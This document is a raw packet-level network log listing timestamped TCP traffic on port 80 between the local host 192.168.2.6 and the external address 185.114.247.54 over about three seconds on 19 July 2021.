Jul 19, 2021 18:36:18.628004074 CEST	49915	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.704917908 CEST	80	49913	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.705081940 CEST	49913	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.719041109 CEST	80	49914	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.719189882 CEST	49914	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.722302914 CEST	80	49915	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.722528934 CEST	49915	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.723758936 CEST	49915	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.819070101 CEST	80	49915	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.824253082 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.827411890 CEST	80	49915	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.827502012 CEST	49915	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.907310963 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.907474995 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.908550024 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.908855915 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.909256935 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.909533978 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.933223009 CEST	49915	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.935514927 CEST	49917	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.991419077 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.991744041 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.992824078 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.992908001 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.992921114 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.992964029 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.993031025 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.993206978 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.993304968 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.993366957 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.993453026 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.993637085 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.993763924 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.993788958 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.993901968 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.993936062 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.994060993 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:18.994225979 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.994505882 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:18.994606972 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.013627052 CEST	80	49917	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.013824940 CEST	49917	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.015003920 CEST	49917	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.026401043 CEST	80	49915	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.026536942 CEST	49915	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.075680017 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.075711012 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.075723886 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.075824022 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.077732086 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.077756882 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.077769995 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.077783108 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.077795982 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.077809095 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.077825069 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.077842951 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.077907085 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.077969074 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.093136072 CEST	80	49917	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.105257988 CEST	80	49917	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.105345011 CEST	49917	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.188852072 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.188900948 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.188936949 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.188972950 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.189042091 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.189091921 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.189126968 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.189150095 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.189184904 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.189199924 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.214245081 CEST	49917	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.216979980 CEST	49918	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.272290945 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.272320032 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.272335052 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.272408962 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.272425890 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.272439003 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.284938097 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.285561085 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.293951035 CEST	80	49917	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.294070959 CEST	49917	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.301246881 CEST	80	49918	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.301404953 CEST	49918	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.302485943 CEST	49918	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.387044907 CEST	80	49918	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.398761034 CEST	80	49918	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.399029016 CEST	49918	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.487838984 CEST	49918	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.488199949 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.489485025 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.516525030 CEST	49920	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.570458889 CEST	80	49918	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.570612907 CEST	49918	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.571329117 CEST	80	49916	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.571526051 CEST	49916	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.581859112 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.582011938 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.583142996 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.583396912 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.583807945 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.584026098 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.614497900 CEST	80	49920	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.614659071 CEST	49920	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.615284920 CEST	49920	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.675322056 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.675534010 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.676031113 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.676285028 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.676368952 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.676383972 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.676487923 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.676691055 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.676891088 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.676939011 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.676975965 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.676986933 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.676996946 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.677086115 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.677345991 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.677539110 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.677716017 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.677776098 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.677862883 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.678050041 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.678144932 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.712857962 CEST	80	49920	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.724534035 CEST	80	49920	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.724848986 CEST	49920	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.768229008 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.768248081 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.768445015 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.768786907 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.768810987 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.768938065 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.770077944 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.770330906 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.838855028 CEST	49920	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.840250969 CEST	49921	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.862664938 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.862895012 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.892429113 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.918679953 CEST	80	49921	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.918821096 CEST	49921	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.919332981 CEST	49921	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.938564062 CEST	80	49920	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.939235926 CEST	49920	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.956245899 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.956341028 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.958467960 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.958492041 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.958508968 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.964518070 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:19.965029955 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:19.998476982 CEST	80	49921	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.009548903 CEST	80	49921	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.009844065 CEST	49921	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.121260881 CEST	49921	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.121711969 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.123531103 CEST	49922	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.165204048 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.199506044 CEST	80	49921	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.199623108 CEST	49921	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.202090979 CEST	80	49922	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.202322006 CEST	49922	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.202943087 CEST	49922	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.214169025 CEST	80	49919	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.214354992 CEST	49919	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.258918047 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.259154081 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.260432959 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.260592937 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.260862112 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.261029959 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.281317949 CEST	80	49922	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.294106960 CEST	80	49922	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.294224024 CEST	49922	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.355320930 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.355384111 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.355401039 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.355410099 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.355424881 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.355535030 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.356265068 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.356303930 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.356317997 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.356363058 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.356415987 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.356638908 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.356731892 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.356775045 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.356795073 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.356801987 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.358366966 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.358422041 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.362090111 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.402184010 CEST	49922	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.403800011 CEST	49924	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.449875116 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.449924946 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.450001001 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.450016975 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.450059891 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.450138092 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.450172901 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.450256109 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.450370073 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.450792074 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.450824022 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.451097965 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.451142073 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.451956034 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.452186108 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.458667040 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.458779097 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.480571032 CEST	80	49922	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.480786085 CEST	49922	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.482531071 CEST	80	49924	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.482698917 CEST	49924	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.483654976 CEST	49924	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.545392990 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.545417070 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.546252012 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.547575951 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.547601938 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.547611952 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.547626019 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.547641039 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.547657013 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.547672987 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.547688007 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.547702074 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.561501980 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.561527014 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.561973095 CEST	80	49924	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.573739052 CEST	80	49924	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.574553967 CEST	49924	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.640954018 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.640978098 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.640990973 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.641062975 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.685909033 CEST	49924	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.686299086 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.687993050 CEST	49925	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.753524065 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.764008999 CEST	80	49924	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.764081001 CEST	49924	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.766690969 CEST	80	49925	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.766825914 CEST	49925	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.767954111 CEST	49925	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.779608965 CEST	80	49923	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.779685020 CEST	49923	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.834849119 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.834970951 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.835465908 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.835768938 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.836003065 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.836230993 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.846586943 CEST	80	49925	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.859528065 CEST	80	49925	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.859610081 CEST	49925	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.914861917 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.914885998 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.914895058 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.914987087 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.915293932 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.915379047 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.915695906 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.915767908 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.916129112 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.916201115 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.916448116 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.916512966 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.916554928 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.916630030 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.916718006 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.916771889 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.917006969 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.917066097 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.917293072 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.917411089 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.917695045 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.917778969 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.918090105 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.918234110 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.963875055 CEST	49925	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.965112925 CEST	49927	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.994108915 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.994132996 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.994223118 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.994254112 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.994270086 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.994544029 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.994637012 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.994874954 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.994946003 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.995285034 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.995387077 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.995404005 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.995450974 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.995503902 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.995560884 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.996203899 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.996371984 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.996671915 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.996746063 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:20.997359037 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:20.997436047 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.049057007 CEST	80	49927	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.049194098 CEST	49927	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.049942017 CEST	49927	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.055567980 CEST	80	49925	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.055661917 CEST	49925	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.073246956 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.073338032 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.073362112 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.073841095 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.074310064 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.075634003 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.076493979 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.076570988 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.134390116 CEST	80	49927	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.148483038 CEST	80	49927	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.148623943 CEST	49927	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.152287006 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.152309895 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.152338028 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.152353048 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.185909986 CEST	49927	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.186239958 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.187650919 CEST	49928	80	192.168.2.6	185.114.247.54
